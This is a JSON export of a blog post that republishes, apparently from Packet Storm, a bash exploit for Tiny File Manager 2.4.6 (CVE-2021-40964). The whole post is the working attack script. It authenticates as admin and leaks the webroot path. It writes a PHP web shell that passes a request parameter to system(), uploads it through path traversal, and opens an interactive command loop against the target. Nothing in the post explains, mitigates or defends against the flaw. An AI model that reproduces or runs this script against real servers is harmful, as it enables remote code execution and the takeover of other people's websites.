{"id":21860,"date":"2022-03-16T22:08:13","date_gmt":"2022-03-16T19:08:13","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/166330\/tfm246-shell.txt"},"modified":"2022-03-19T09:40:19","modified_gmt":"2022-03-19T06:10:19","slug":"tiny-file-manager-2-4-6-shell-upload","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/tiny-file-manager-2-4-6-shell-upload\/","title":{"rendered":"Tiny File Manager 2.4.6 Shell Upload"},"content":{"rendered":"<p dir=\"ltr\"># Exploit Title: Tiny File Manager 2.4.6 &#8211; Remote Code Execution (RCE)<br \/>\n# Date: 14\/03\/2022<br \/>\n# Exploit Author: FEBIN MON SAJI<br \/>\n# Software Link: https:\/\/github.com\/prasathmani\/tinyfilemanager<br \/>\n# Version: Tiny File Manager &lt;= 2.4.6<br \/>\n# Tested on: Ubuntu 20.04<br \/>\n# CVE : CVE-2021-40964<br \/>\n# Reference: https:\/\/febin0x4e4a.wordpress.com\/2022\/01\/23\/tiny-file-manager-authenticated-rce\/<\/p>\n<p dir=\"ltr\">#!\/bin\/bash<\/p>\n<p dir=\"ltr\">check(){<\/p>\n<p dir=\"ltr\">which curl<br \/>\nif [ $? = 0 ]\nthen<br \/>\nprintf &#8220;[\u2714] Curl found! \\n&#8221;<br \/>\nelse<br \/>\nprintf &#8220;[\u274c] Curl not found! \\n&#8221;<br \/>\nexit<br \/>\nfi<\/p>\n<p dir=\"ltr\">which jq<br \/>\nif [ $? = 0 ]\nthen<br \/>\nprintf &#8220;[\u2714] jq found! \\n&#8221;<br \/>\nelse<br \/>\nprintf &#8220;[\u274c] jq not found! \\n&#8221;<br \/>\nexit<br \/>\nfi<br \/>\n}<br \/>\nusage(){<\/p>\n<p dir=\"ltr\">printf &#8221;<br \/>\nTIny File Manager Authenticated RCE Exploit.<\/p>\n<p dir=\"ltr\">By FEBIN<\/p>\n<p dir=\"ltr\">$0 &lt;URL&gt; &lt;Admin Username&gt; &lt;Password&gt;<\/p>\n<p dir=\"ltr\">Example: $0 http:\/\/files.ubuntu.local\/index.php admin \\&#8221;admin@123\\&#8221;<\/p>\n<p dir=\"ltr\">&#8221;<br \/>\n}<\/p>\n<p dir=\"ltr\">log-in(){<br \/>\nURL=$1<br \/>\nadmin=$2<br \/>\npass=$3<br \/>\ncookie=$(curl &#8220;$URL&#8221; -X POST -s -d &#8220;fm_usr=$admin&amp;fm_pwd=$pass&#8221; -i | grep &#8220;Set-Cookie: &#8221; | sed s\/&#8221;Set-Cookie: &#8220;\/\/g | tr -d &#8221; &#8221; | tr &#8220;;&#8221; &#8220;\\n&#8221; | head -1)<\/p>\n<p dir=\"ltr\">if [ $cookie ]\nthen<br \/>\nprintf &#8220;\\n[+] Login Success! Cookie: $cookie \\n&#8221;<br \/>\nelse<br \/>\nprintf &#8220;\\n[-] Logn Failed! \\n&#8221;<br \/>\nfi<\/p>\n<p dir=\"ltr\">URL=${URL}<br \/>\n}<\/p>\n<p dir=\"ltr\">find_webroot(){<\/p>\n<p dir=\"ltr\">webroot=$(curl -X POST &#8220;$URL?p=&amp;upload&#8221; -d &#8220;type=upload&amp;uploadurl=http:\/\/vyvyuytcuytcuycuytuy\/&amp;ajax=true&#8221; -H &#8220;Cookie: $cookie&#8221; -s | jq | grep file | tr -d &#8216;&#8221;&#8216; | tr -d &#8220;,&#8221; | tr -d &#8221; &#8221; | sed s\/&#8221;file:&#8221;\/\/g | tr &#8220;\/&#8221; &#8220;\\n&#8221; | head &#8211;lines=-1 | tr &#8220;\\n&#8221; &#8220;\/&#8221; )<\/p>\n<p dir=\"ltr\">if [ $webroot ]\nthen<br \/>\nprintf &#8220;\\n[*] Try to Leak Web root directory path \\n\\n&#8221;<br \/>\nprintf &#8220;[+] Found WEBROOT directory for tinyfilemanager using full path disclosure bug : $webroot \\n\\n&#8221;<br \/>\nelse<br \/>\nprintf &#8220;[-] Can&#8217;t find WEBROOT! Using default \/var\/www\/html \\n&#8221;<br \/>\nwebroot=&#8221;\/var\/www\/html&#8221;<br \/>\nfi<br \/>\n}<\/p>\n<p dir=\"ltr\">upload(){<\/p>\n<p dir=\"ltr\">#webroot=&#8221;\/var\/www\/tiny\/&#8221;<br \/>\nshell=&#8221;shell$RANDOM.php&#8221;<br \/>\necho &#8220;&lt;?php system(\\$_REQUEST[&#8216;cmd&#8217;]); ?&gt;&#8221; &gt; \/tmp\/$shell<\/p>\n<p dir=\"ltr\">curl $URL?p= -X POST -s -H &#8220;User-Agent: Mozilla\/5.0 (X11; Linux x86_64; rv:78.0) Gecko\/20100101 Firefox\/78.0&#8221; -b $cookie -F &#8220;p=&#8221; -F &#8220;fullpath=..\/..\/..\/..\/..\/..\/..\/..${webroot}\/${shell}&#8221; -F &#8220;file=@\/tmp\/$shell&#8221; | grep &#8220;successful&#8221;<\/p>\n<p dir=\"ltr\">}<\/p>\n<p dir=\"ltr\">exploit(){<\/p>\n<p dir=\"ltr\">WEB_URL=$(printf &#8220;$URL&#8221; | tr &#8220;\/&#8221; &#8220;\\n&#8221; | head &#8211;lines=-1 | tr &#8220;\\n&#8221; &#8220;\/&#8221;)<\/p>\n<p dir=\"ltr\">upload<\/p>\n<p dir=\"ltr\">if [ $? = 0 ]\nthen<br \/>\nprintf &#8220;[+] File Upload Successful! \\n&#8221;<br \/>\nelse<br \/>\nprintf &#8220;[-] File Upload Unsuccessful! Exiting! \\n&#8221;<br \/>\nexit 1<br \/>\nfi<\/p>\n<p dir=\"ltr\">printf &#8220;[+] Checking for the shell \\n&#8221;<\/p>\n<p dir=\"ltr\">curl ${WEB_URL}\/${shell}?cmd=echo%20found -s | head -1 | grep &#8220;found&#8221; &gt;\/dev\/null<br \/>\nif [ $? = 0 ]\nthen<br \/>\nprintf &#8220;[+] Shell found ${WEB_URL}\/$shell \\n&#8221;<br \/>\nelse<br \/>\nprintf &#8220;[-] Shell not Found! It might be uploaded somewhere else in the server or got deleted. Exiting! \\n&#8221;<br \/>\nexit 2<br \/>\nfi<\/p>\n<p dir=\"ltr\">printf &#8220;[+] Getting shell access! \\n\\n&#8221;<\/p>\n<p dir=\"ltr\">while true<br \/>\ndo<br \/>\nprintf &#8220;$&gt; &#8221;<br \/>\nread cmd<br \/>\ncurl ${WEB_URL}\/$shell -s -X POST -d &#8220;cmd=${cmd}&#8221;<br \/>\ndone<br \/>\n}<\/p>\n<p dir=\"ltr\">if [ $1 ] &amp;&amp; [ $2 ] &amp;&amp; [ $3 ]\nthen<br \/>\ncheck<br \/>\nlog-in $1 $2 $3<\/p>\n<p dir=\"ltr\">find_webroot<\/p>\n<p dir=\"ltr\">exploit<br \/>\nelse<br \/>\nusage<br \/>\nfi<\/p>\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: Tiny File Manager 2.4.6 &#8211; Remote Code Execution (RCE) # Date: 14\/03\/2022 # Exploit Author: FEBIN MON SAJI # Software Link: https:\/\/github.com\/prasathmani\/tinyfilemanager # Version: Tiny File Manager &lt;= 2.4.6 # Tested on: Ubuntu 20.04 # CVE : CVE-2021-40964 # Reference: https:\/\/febin0x4e4a.wordpress.com\/2022\/01\/23\/tiny-file-manager-authenticated-rce\/ #!\/bin\/bash check(){ which curl if [ $? = 0 ] then &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-21860","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/21860","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=21860"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/21860\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=21860"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=21860"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=21860"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}